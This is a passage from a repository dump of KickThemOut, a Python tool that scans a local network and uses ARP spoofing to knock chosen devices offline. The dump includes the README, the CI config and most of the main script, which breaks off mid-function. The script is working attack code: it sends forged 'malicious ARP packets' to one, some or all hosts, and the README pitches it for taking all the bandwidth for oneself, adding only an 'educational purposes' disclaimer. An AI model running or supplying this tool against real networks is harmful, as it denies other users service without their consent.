├── .github └── ISSUE_TEMPLATE.md ├── .gitignore ├── .travis.yml ├── LICENSE ├── README.md ├── code-of-conduct.md ├── kickthemout.py ├── requirements.txt ├── scan.py └── spoof.py /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | <!-- 2 | Hi there! Thank you for bringing an issue to out attention. 3 | 4 | Before submitting, let's make sure of a few things. 5 | Please ensure the following boxes are ticked if they apply. 6 | If they do not, please try and fulfill them first. 7 | --> 8 | 9 | <!-- Checked checkbox should look like this: [x] --> 10 | 11 | ## Checklist for submitting an issue to `KickThemOut`: 12 | 13 | - [ ] I have carefully read the [README](https://github.com/k4m4/kickthemout/blob/master/README.rst) file and haven't managed to resolve my issue. 14 | - [ ] I have searched the [issues](https://github.com/k4m4/kickthemout/issues?utf8=%E2%9C%93&q=is%3Aissue) of this repo and believe that this is not a duplicate. 15 | - [ ] I am running the latest version of KickThemOut. 16 | 17 | <!-- 18 | Once all boxes are ticked, it would be very helpful if you could fill in the 19 | following list with the appropriate information. 20 | --> 21 | 22 | - **OS name & version**: <!-- Replace with os name & version --> 23 | - **Python version**: <!-- Replace with python version --> 24 | - **Scapy version**: <!-- Replace with kamene version --> 25 | - **Nmap version**: <!-- Replace with nmap version --> 26 | - **Link of [Gist](https://gist.github.com/)**: <!-- Please create a Gist with the response of a `$ sudo python -vvv kickthemout.py` verbosity command & paste the link here --> 27 | 28 | <!-- Now feel free to write about your issue; please remember to be as descriptive as possible! Thanks again! 🙌 ❤️ --><br/ > 29 | 30 | - **Description**: <!-- Replace with a short description of your issue --> 31 | 32 | <!-- Please provide all of the preceding information; otherwise, your issue will be labeled `more-information-needed` and will most probably be ignored. Thank you! --> 33 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | env/ 2 | build/ 3 | develop-eggs/ 4 | dist/ 5 | downloads/ 6 | eggs/ 7 | .eggs/ 8 | lib/ 9 | lib64/ 10 | parts/ 11 | sdist/ 12 | var/ 13 | *.egg-info/ 14 | *.egg 15 | *.manifest 16 | *.spec 17 | pip-log.txt 18 | pip-delete-this-directory.txt 19 | .scrapy 20 | target/ 21 | .python-version 22 | venv/ 23 | ENV/ 24 | *.pyc 25 | *.tmp 26 | *.bak 27 | *.cfg 28 | __pycache__/ -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: required 2 | dist: trusty 3 | language: python 4 | python: 5 | - "3.4" 6 | - "3.5" 7 | - "3.6" 8 | 9 | install: 10 | - sudo -H python3 -m pip install -r requirements.txt 11 | script: 12 | - sudo -H python3 -c "import kickthemout; import scan; import spoof;" 13 | 14 | branches: 15 | only: 16 | - master 17 | 18 | addons: 19 | apt: 20 | packages: 21 | - python3 22 | - python3-pip 23 | - nmap 24 | 25 | notifications: 26 | email: 27 | on_success: never 28 | on_failure: always 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017-18 Nikolaos Kamarinakis 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |  2 | 3 | # KickThemOut 4 | 5 | > [KickThemOut](https://nikolaskama.me/kickthemoutproject) - **Kick Devices Off Your Network** 6 | 7 | A tool to kick devices out of your network and enjoy all the bandwidth for yourself. 8 | It allows you to select specific or all devices and ARP spoofs them off your local area network. 9 | 10 | - Compatible with Python **3+** 🎉. 11 | 12 | - *Not* compatible with Windows. 13 | 14 | Authors: [Nikolaos Kamarinakis](mailto:nikolaskam@gmail.com) & [David Schütz](mailto:xdavid@protonmail.com). 15 | 16 | [](https://travis-ci.org/k4m4/kickthemout) 17 | [](https://github.com/k4m4/kickthemout/blob/master/LICENSE) 18 | [](https://github.com/k4m4/kickthemout) 19 | [](https://github.com/k4m4/kickthemout/stargazers) 20 | 21 | --- 22 | 23 | <p align="center">✨Read my latest post: <a href="https://nikolaskama.me/kickthemout-v2-0/"><i>KickThemout v2.0! 🎉</i></a></p> 24 | 25 | ------------- 26 | 27 | # Installation 28 | 29 | ## Debian Installation 30 | 31 | You can download KickThemOut by cloning the [Git Repo](https://github.com/k4m4/kickthemout) and simply installing its requirements: 32 | 33 | ``` 34 | ~ ❯❯❯ sudo apt-get update && sudo apt-get install nmap 35 | 36 | ~ ❯❯❯ git clone https://github.com/k4m4/kickthemout.git 37 | 38 | ~ ❯❯❯ cd kickthemout/ 39 | 40 | ~/kickthemout ❯❯❯ sudo -H pip3 install -r requirements.txt 41 | 42 | ~/kickthemout ❯❯❯ sudo python3 kickthemout.py 43 | ``` 44 | 45 | 46 | ## MacOS Installation 47 | 48 | If you would like to install KickThemOut on a Mac, please run the following: 49 | 50 | ``` 51 | ~ ❯❯❯ brew install libdnet nmap 52 | 53 | ~ ❯❯❯ git clone https://github.com/k4m4/kickthemout.git 54 | 55 | ~ ❯❯❯ cd kickthemout/ 56 | 57 | ~/kickthemout ❯❯❯ sudo -H pip3 install -r requirements.txt 58 | 59 | ~/kickthemout ❯❯❯ sudo python3 kickthemout.py 60 | ``` 61 | 62 | **NOTE**: You need to have [Homebrew](http://brew.sh/) installed before running the Mac OS installation. 63 | 64 | Also, **keep in mind** that you might be asked to run some extra commands after executing the pip requirement installation. 65 | 66 | 67 | ## ArchLinux Installation 68 | 69 | You can download KickThemOut on an Arch based system by executing the following: 70 | 71 | ``` 72 | ~ ❯❯❯ git clone https://github.com/k4m4/kickthemout.git 73 | 74 | ~ ❯❯❯ cd kickthemout/ 75 | 76 | ~/kickthemout ❯❯❯ sudo -H pip3 install -r requirements.txt 77 | 78 | ~/kickthemout ❯❯❯ sudo python3 kickthemout.py 79 | ``` 80 | 81 | <br/> 82 | 83 | # Usage 84 | 85 | ``` 86 | Usage: sudo python3 kickthemout.py [options] 87 | 88 | Options: 89 | --version show program's version number and exit 90 | -h, --help show this help message and exit 91 | -p PACKETS, --packets=PACKETS 92 | number of packets broadcasted per minute (default: 6) 93 | -s, --scan perform a quick network scan and exit 94 | -t TARGETS, --target=TARGETS 95 | specify target IP address(es) and perform attack 96 | 97 | Examples: 98 | sudo python3 kickthemout.py --target 192.168.1.10 99 | sudo python3 kickthemout.py -t 192.168.1.5,192.168.1.10 -p 30 100 | sudo python3 kickthemout.py (interactive mode) 101 | ``` 102 | 103 | To view all available options run: 104 | 105 | ``` 106 | ~/kickthemout ❯❯❯ sudo python3 kickthemout.py -h 107 | ``` 108 | 109 | 110 | <br/> 111 | 112 | # Demo 113 | 114 | Here's a short demo: 115 | 116 | [](https://asciinema.org/a/98200?autoplay=1&loop=1) 117 | 118 | (For more demos click [here](https://asciinema.org/~k4m4)) 119 | 120 | 121 | <br/> 122 | 123 | # Developers 124 | 125 | * Nikolaos Kamarinakis - [@nikolaskama](https://twitter.com/nikolaskama) 126 | * David Schütz - [@xdavidhu](https://twitter.com/xdavidhu) 127 | 128 | 129 | <br/> 130 | 131 | # Disclaimer 132 | 133 | KickThemOut is provided as is under the MIT Licence (as stated below). 134 | It is built for educational purposes *only*. If you choose to use it otherwise, the developers will not be held responsible. Please, do not use it with evil intent. 135 | 136 | 137 | <br/> 138 | 139 | # License 140 | 141 | Copyright (c) 2017-18 by [Nikolaos Kamarinakis](mailto:nikolaskam@gmail.com) & [David Schütz](mailto:xdavid@protonmail.com). Some rights reserved. 142 | 143 | KickThemOut is under the terms of the [MIT License](https://www.tldrlegal.com/l/mit), following all clarifications stated in the [license file](https://raw.githubusercontent.com/k4m4/kickthemout/master/LICENSE). 144 | 145 | 146 | For more information head over to the [official project page](https://nikolaskama.me/kickthemoutproject). 147 | You can also go ahead and email me anytime at **nikolaskam{at}gmail{dot}com** or David at **xdavid{at}protonmail{dot}com**. 148 | -------------------------------------------------------------------------------- /code-of-conduct.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, gender identity and expression, level of experience, 9 | nationality, personal appearance, race, religion, or sexual identity and 10 | orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at nikolaskam@gmail.com. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at [http://contributor-covenant.org/version/1/4][version] 72 | 73 | [homepage]: http://contributor-covenant.org 74 | [version]: http://contributor-covenant.org/version/1/4/ 75 | -------------------------------------------------------------------------------- /kickthemout.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -.- coding: utf-8 -.- 3 | # kickthemout.py 4 | 5 | """ 6 | Copyright (C) 2017-18 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com) 7 | See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject) 8 | """ 9 | 10 | import os, sys, logging, math, traceback, optparse, threading 11 | from time import sleep 12 | BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' 13 | 14 | try: 15 | # check whether user is root 16 | if os.geteuid() != 0: 17 | print("\n{}ERROR: KickThemOut must be run with root privileges. Try again with sudo:\n\t{}$ sudo python3 kickthemout.py{}\n".format(RED, GREEN, END)) 18 | os._exit(1) 19 | except: 20 | # then user is probably on windows 21 | pass 22 | 23 | def shutdown(): 24 | print('\n\n{}Thanks for dropping by.' 25 | '\nCatch ya later!{}'.format(GREEN, END)) 26 | os._exit(0) 27 | 28 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up scapy! 29 | try: 30 | from scapy.config import conf 31 | conf.ipv6_enabled = False 32 | from scapy.all import * 33 | import scan, spoof, nmap 34 | from urllib.request import urlopen, Request 35 | from urllib.error import URLError 36 | except KeyboardInterrupt: 37 | shutdown() 38 | except: 39 | print("\n{}ERROR: Requirements have not been satisfied properly. Please look at the README file for configuration instructions.".format(RED)) 40 | print("\n{}If you still cannot resolve this error, please submit an issue here:\n\t{}https://github.com/k4m4/kickthemout/issues\n\n{}Details: {}{}{}".format(RED, BLUE, RED, GREEN, str(sys.exc_info()[1]), END)) 41 | os._exit(1) 42 | 43 | 44 | 45 | # display heading 46 | def heading(): 47 | spaces = " " * 76 48 | sys.stdout.write(GREEN + spaces + """ 49 | █ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀ 50 | █▄█ ██ █▀ ▀▄ █▄█ ▀▀▀ █ █ █ █▀ ▀ █ █ █ █ █ █ ▀▀▀ █ 51 | █▀▄ ██ █ ▀ █▀▄ █ ██▀▀█ ██▄▄ █ ▄ █ █ █ █ █ █ 52 | █ █ ▐█ █▄ ▄▀ █ █ █ █ █ █▄ ▄▀ █ █ ▀████ █ █ █ 53 | █ ▐ ▀███▀ █ ▀ █ ▀███▀ █ █▄ ▄█ ▀ 54 | ▀ ▀ ▀ ▀ ▀▀▀ 55 | """ + END + BLUE + 56 | '\n' + '{}Kick Devices Off Your LAN ({}KickThemOut{}){}'.format(YELLOW, RED, YELLOW, BLUE).center(98) + 57 | '\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(111) + 58 | '\n' + 'Version: {}2.0{} \n'.format(YELLOW, END).center(86)) 59 | 60 | 61 | 62 | # loading animation during network scan 63 | def scanningAnimation(text): 64 | try: 65 | global stopAnimation 66 | i = 0 67 | while stopAnimation is not True: 68 | tempText = list(text) 69 | if i >= len(tempText): 70 | i = 0 71 | tempText[i] = tempText[i].upper() 72 | tempText = ''.join(tempText) 73 | sys.stdout.write(GREEN + tempText + '\r' + END) 74 | sys.stdout.flush() 75 | i += 1 76 | time.sleep(0.1) 77 | except: 78 | os._exit(1) 79 | 80 | 81 | 82 | # display options 83 | def optionBanner(): 84 | print('\nChoose an option from the menu:\n') 85 | sleep(0.2) 86 | print('\t{}[{}1{}]{} Kick ONE Off'.format(YELLOW, RED, YELLOW, WHITE)) 87 | sleep(0.2) 88 | print('\t{}[{}2{}]{} Kick SOME Off'.format(YELLOW, RED, YELLOW, WHITE)) 89 | sleep(0.2) 90 | print('\t{}[{}3{}]{} Kick ALL Off'.format(YELLOW, RED, YELLOW, WHITE)) 91 | sleep(0.2) 92 | print('\n\t{}[{}E{}]{} Exit KickThemOut\n'.format(YELLOW, RED, YELLOW, WHITE)) 93 | 94 | 95 | 96 | # initiate debugging process 97 | def runDebug(): 98 | print("\n\n{}WARNING! An unknown error has occurred, starting debug...{}".format(RED, END)) 99 | print( 100 | "{}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private information removed where necessary){}".format( 101 | RED, END)) 102 | try: 103 | print("Current defaultGatewayMac: " + defaultGatewayMac) 104 | except: 105 | print("Failed to print defaultGatewayMac...") 106 | try: 107 | print("Reloading MAC retriever function...") 108 | regenOnlineIPs() 109 | print("Reloaded defaultGatewayMac: " + defaultGatewayMac) 110 | except: 111 | print("Failed to reload MAC retriever function / to print defaultGatewayMac...") 112 | try: 113 | print("Known gateway IP: " + defaultGatewayIP) 114 | except: 115 | print("Failed to print defaultGatewayIP...") 116 | try: 117 | print("Crash trace: ") 118 | print(traceback.format_exc()) 119 | except: 120 | print("Failed to print crash trace...") 121 | print("DEBUG FINISHED.\nShutting down...") 122 | print("{}".format(END)) 123 | os._exit(1) 124 | 125 | 126 | 127 | # make sure there is an internet connection 128 | def checkInternetConnection(): 129 | try: 130 | urlopen('https://github.com', timeout=3) 131 | return True 132 | except URLError as err: 133 | return False 134 | except KeyboardInterrupt: 135 | shutdown() 136 | 137 | 138 | 139 | # retrieve network interface 140 | def getDefaultInterface(returnNet=False): 141 | def long2net(arg): 142 | if (arg <= 0 or arg >= 0xFFFFFFFF): 143 | raise ValueError("illegal netmask value", hex(arg)) 144 | return 32 - int(round(math.log(0xFFFFFFFF - arg, 2))) 145 | def to_CIDR_notation(bytes_network, bytes_netmask): 146 | network = scapy.utils.ltoa(bytes_network) 147 | netmask = long2net(bytes_netmask) 148 | net = "%s/%s" % (network, netmask) 149 | if netmask < 16: 150 | return None 151 | return net 152 | 153 | iface_routes = [route for route in scapy.config.conf.route.routes if route[3] == scapy.config.conf.iface and route[1] != 0xFFFFFFFF] 154 | network, netmask, _, interface, address, _ = max(iface_routes, key=lambda item:item[1]) 155 | net = to_CIDR_notation(network, netmask) 156 | if net: 157 | if returnNet: 158 | return net 159 | else: 160 | return interface 161 | 162 | 163 | 164 | # retrieve default interface MAC address 165 | def getDefaultInterfaceMAC(): 166 | try: 167 | defaultInterfaceMac = get_if_hwaddr(defaultInterface) 168 | if defaultInterfaceMac == "" or not defaultInterfaceMac: 169 | print( 170 | "\n{}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{}\n".format( 171 | RED, END)) 172 | header = ('{}kickthemout{}> {}Enter MAC Address {}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END)) 173 | return (input(header)) 174 | else: 175 | return defaultInterfaceMac 176 | except: 177 | # request interface MAC address (after failed detection by scapy) 178 | print("\n{}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{}\n".format(RED, END)) 179 | header = ('{}kickthemout{}> {}Enter MAC Address {}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END)) 180 | return (input(header)) 181 | 182 | 183 | 184 | # retrieve gateway IP 185 | def getGatewayIP(): 186 | global stopAnimation 187 | try: 188 | getGateway, timeout = sr1(IP(dst="github.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False, timeout=4) 189 | if timeout: 190 | raise Exception() 191 | return getGateway.src 192 | except: 193 | # request gateway IP address (after failed detection by scapy) 194 | stopAnimation = True 195 | print("\n{}ERROR: Gateway IP could not be obtained. Please enter IP manually.{}\n".format(RED, END)) 196 | header = ('{}kickthemout{}> {}Enter Gateway IP {}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END)) 197 | return (input(header)) 198 | 199 | 200 | 201 | # retrieve host MAC address 202 | def retrieveMACAddress(host): 203 | try: 204 | query = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=host) 205 | ans, _ = srp(query, timeout=2, verbose=0) 206 | for _, rcv in ans: 207 | return rcv[Ether].src 208 | break 209 | except: 210 | return False 211 | 212 | 213 | 214 | # resolve mac address of each vendor 215 | def resolveMac(mac): 216 | try: 217 | # send request to macvendors.co 218 | url = "http://macvendors.co/api/vendorname/" 219 | request = Request(url + mac, headers={'User-Agent': "API Browser"}) 220 | response = urlopen(request) 221 | vendor = response.read() 222 | vendor = vendor.decode("utf-8") 223 | vendor = vendor[:25] 224 | return vendor 225 | except KeyboardInterrupt: 226 | shutdown() 227 | except: 228 | return "N/A" 229 | 230 | 231 | 232 | # regenerate online IPs array & configure gateway 233 | def regenOnlineIPs(): 234 | global onlineIPs, defaultGatewayMac, defaultGatewayMacSet, stopAnimation 235 | 236 | if not defaultGatewayMacSet: 237 | defaultGatewayMac = "" 238 | 239 | onlineIPs = [] 240 | for host in hostsList: 241 | onlineIPs.append(host[0]) 242 | if not defaultGatewayMacSet: 243 | if host[0] == defaultGatewayIP: 244 | defaultGatewayMac = host[1] 245 | 246 | if not defaultGatewayMacSet and defaultGatewayMac == "": 247 | # request gateway MAC address (after failed detection by scapy) 248 | stopAnimation = True 249 | print("\n{}ERROR: Default Gateway MAC Address could not be obtained. Please enter MAC manually.{}\n".format(RED, END)) 250 | header = ("{}kickthemout{}> {}Enter your gateway's MAC Address {}(MM:MM:MM:SS:SS:SS): ".format(BLUE, WHITE, RED, END)) 251 | defaultGatewayMac = input(header) 252 | defaultGatewayMacSet = True 253 | 254 | 255 | 256 | # scan network 257 | def scanNetwork(): 258 | global hostsList 259 | try: 260 | # call scanning function from scan.py 261 | hostsList = scan.scanNetwork(getDefaultInterface(True)) 262 | except KeyboardInterrupt: 263 | shutdown() 264 | except: 265 | print("\n\n{}ERROR: Network scanning failed. Please check your requirements configuration.{}".format(RED, END)) 266 | print("\n{}If you still cannot resolve this error, please submit an issue here:\n\t{}https://github.com/k4m4/kickthemout/issues\n\n{}Details: {}{}{}".format(RED, BLUE, RED, GREEN, str(sys.exc_info()[1]), END)) 267 | os._exit(1) 268 | try: 269 | regenOnlineIPs() 270 | except KeyboardInterrupt: 271 | shutdown() 272 | 273 | 274 | 275 | # non-interactive attack 276 | def nonInteractiveAttack(): 277 | 278 | print("\n{}nonInteractiveAttack{} activated...{}\n".format(RED, GREEN, END)) 279 | 280 | target = options.targets 281 | print("\n{}Target(s): {}{}".format(GREEN, END, ", ".join(target))) 282 | global stopAnimation 283 | stopAnimation = False 284 | t = threading.Thread(target=scanningAnimation, args=('Checking target status...',)) 285 | t.daemon = True 286 | t.start() 287 | 288 | try: 289 | nm = nmap.PortScanner() 290 | counter = 0 291 | for host in target: 292 | a = nm.scan(hosts=host, arguments='-sn') 293 | if a['scan'] != {}: 294 | for k, v in a['scan'].items(): 295 | if str(v['status']['state']) == 'up': 296 | pass 297 | else: 298 | if len(target) == 1 or counter == len(target)-1: 299 | stopAnimation = True 300 | sys.stdout.write("\033[K") 301 | print("\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}".format(RED, END, str(host), RED, END)) 302 | os._exit(1) 303 | else: 304 | sys.stdout.write("\033[K") 305 | print("\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}".format(RED, END, str(host), RED, END)) 306 | target.remove(host) 307 | counter += 1 308 | pass 309 | else: 310 | if len(target) == 1 or counter == len(target)-1: 311 | stopAnimation = True 312 | sys.stdout.write("\033[K") 313 | print("\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}".format(RED, END, str(host), RED, END)) 314 | os._exit(1) 315 | else: 316 | sys.stdout.write("\033[K") 317 | print("\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}".format(RED, END, str(host), RED, END)) 318 | target.remove(host) 319 | counter += 1 320 | pass 321 | 322 | stopAnimation = True 323 | sys.stdout.write("\033[K") 324 | 325 | defaultGatewayIP = getGatewayIP() 326 | defaultGatewayMac = retrieveMACAddress(defaultGatewayIP) 327 | 328 | except KeyboardInterrupt: 329 | shutdown() 330 | 331 | if options.packets is not None: 332 | print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets))) 333 | else: 334 | print("\n{}Spoofing started... {}".format(GREEN, END)) 335 | try: 336 | while True: 337 | # broadcast malicious ARP packets 338 | for i in target: 339 | ipAddress = i 340 | macAddress = retrieveMACAddress(ipAddress) 341 | if macAddress == False: 342 | print("\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}".format(RED, END)) 343 | os._exit(1) 344 | spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, ipAddress, macAddress) 345 | if options.packets is not None: 346 | time.sleep(60/float(options.packets)) 347 | else: 348 | time.sleep(10) 349 | except KeyboardInterrupt: 350 | # re-arp targets on KeyboardInterrupt exception 351 | print("\n{}Re-arping{} target(s)...{}".format(RED, GREEN, END)) 352 | reArp = 1 353 | while reArp != 10: 354 | # broadcast ARP packets with legitimate info to restore connection 355 | for i in target: 356 | ipAddress = i 357 | try: 358 | macAddress = retrieveMACAddress(ipAddress) 359 | except: 360 | print("\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}".format(RED, END)) 361 | os._exit(1) 362 | try: 363 | spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, ipAddress, macAddress) 364 | except KeyboardInterrupt: 365 | pass 366 | except: 367 | runDebug() 368 | reArp += 1 369 | time.sleep(0.2) 370 | print("{}Re-arped{} target(s) successfully.{}".format(RED, GREEN, END)) 371 | 372 | 373 | 374 | # kick one device 375 | def kickoneoff(): 376 | os.system("clear||cls") 377 | 378 | print("\n{}kickONEOff{} selected...{}\n".format(RED, GREEN, END)) 379 | global stopAnimation 380 | stopAnimation = False 381 | t = threading.Thread(target=scanningAnimation, args=('Hang on...',)) 382 | t.daemon = True 383 | t.start() 384 | 385 | # commence scanning process 386 | try: 387 | scanNetwork() 388 | except KeyboardInterrupt: 389 | shutdown() 390 | stopAnimation = True 391 | 392 | print("Online IPs: ") 393 | for i in range(len(onlineIPs)): 394 | mac = "" 395 | for host in hostsList: 396 | if host[0] == onlineIPs[i]: 397 | mac = host[1] 398 | try: 399 | hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0] 400 | except: 401 | hostname = "N/A" 402 | vendor = resolveMac(mac) 403 | print(" [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END)) 404 | 405 | canBreak = False 406 | while not canBreak: 407 | try: 408 | choice = int(input("\nChoose a target: ")) 409 | oneTargetIP = onlineIPs[choice] 410 | canBreak = True 411 | except KeyboardInterrupt: 412 | shutdown() 413 | except: 414 | print("\n{}ERROR: Please enter a number from the list!{}".format(RED, END)) 415 | 416 | # locate MAC of specified device 417 | oneTargetMAC = "" 418 | for host in hostsList: 419 | if host[0] == oneTargetIP: 420 | oneTargetMAC = host[1] 421 | if oneTargetMAC == "": 422 | print("\nIP address is not up. Please try again.") 423 | return 424 | 425 | print("\n{}Target: {}{}".format(GREEN, END, oneTargetIP)) 426 | 427 | if options.packets is not None: 428 | print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets))) 429 | else: 430 | print("\n{}Spoofing started... {}".format(GREEN, END)) 431 | try: 432 | while True: 433 | # broadcast malicious ARP packets 434 | spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, oneTargetIP, oneTargetMAC) 435 | if options.packets is not None: 436 | time.sleep(60/float(options.packets)) 437 | else: 438 | time.sleep(10) 439 | except KeyboardInterrupt: 440 | # re-arp target on KeyboardInterrupt exception 441 | print("\n{}Re-arping{} target...{}".format(RED, GREEN, END)) 442 | reArp = 1 443 | while reArp != 10: 444 | try: 445 | # broadcast ARP packets with legitimate info to restore connection 446 | spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) 447 | except KeyboardInterrupt: 448 | pass 449 | except: 450 | runDebug() 451 | reArp += 1 452 | time.sleep(0.2) 453 | print("{}Re-arped{} target successfully.{}".format(RED, GREEN, END)) 454 | 455 | 456 | 457 | # kick multiple devices 458 | def kicksomeoff(): 459 | os.system("clear||cls") 460 | 461 | print("\n{}kickSOMEOff{} selected...{}\n".format(RED, GREEN, END)) 462 | global stopAnimation 463 | stopAnimation = False 464 | t = threading.Thread(target=scanningAnimation, args=('Hang on...',)) 465 | t.daemon = True 466 | t.start() 467 | 468 | # commence scanning process 469 | try: 470 | scanNetwork() 471 | except KeyboardInterrupt: 472 | shutdown() 473 | stopAnimation = True 474 | 475 | print("Online IPs: ") 476 | for i in range(len(onlineIPs)): 477 | mac = "" 478 | for host in hostsList: 479 | if host[0] == onlineIPs[i]: 480 | mac = host[1] 481 | try: 482 | hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0] 483 | except: 484 | hostname = "N/A" 485 | vendor = resolveMac(mac) 486 | print(" [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END)) 487 | 488 | canBreak = False 489 | while not canBreak: 490 | try: 491 | choice = input("\nChoose devices to target (comma-separated): ") 492 | if ',' in choice: 493 | someTargets = choice.split(",") 494 | canBreak = True 495 | else: 496 | print("\n{}ERROR: Please select more than 1 devices from the list.{}\n".format(RED, END)) 497 | except KeyboardInterrupt: 498 | shutdown() 499 | 500 | someIPList = "" 501 | for i in someTargets: 502 | try: 503 | someIPList += onlineIPs[int(i)] + ", " 504 | except KeyboardInterrupt: 505 | shutdown() 506 | except: 507 | print("\n{}ERROR: '{}{}{}' is not in the list.{}\n".format(RED, GREEN, i, RED, END)) 508 | return 509 | someIPList = someIPList[:-2] + END 510 | 511 | print("\n{}Targets: {}{}".format(GREEN, END, someIPList)) 512 | 513 | if options.packets is not None: 514 | print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets))) 515 | else: 516 | print("\n{}Spoofing started... {}".format(GREEN, END)) 517 | try: 518 | while True: 519 | # broadcast malicious ARP packets 520 | for i in someTargets: 521 | ip = onlineIPs[int(i)] 522 | for host in hostsList: 523 | if host[0] == ip: 524 | spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) 525 | if options.packets is not None: 526 | time.sleep(60/float(options.packets)) 527 | else: 528 | time.sleep(10) 529 | except KeyboardInterrupt: 530 | # re-arp targets 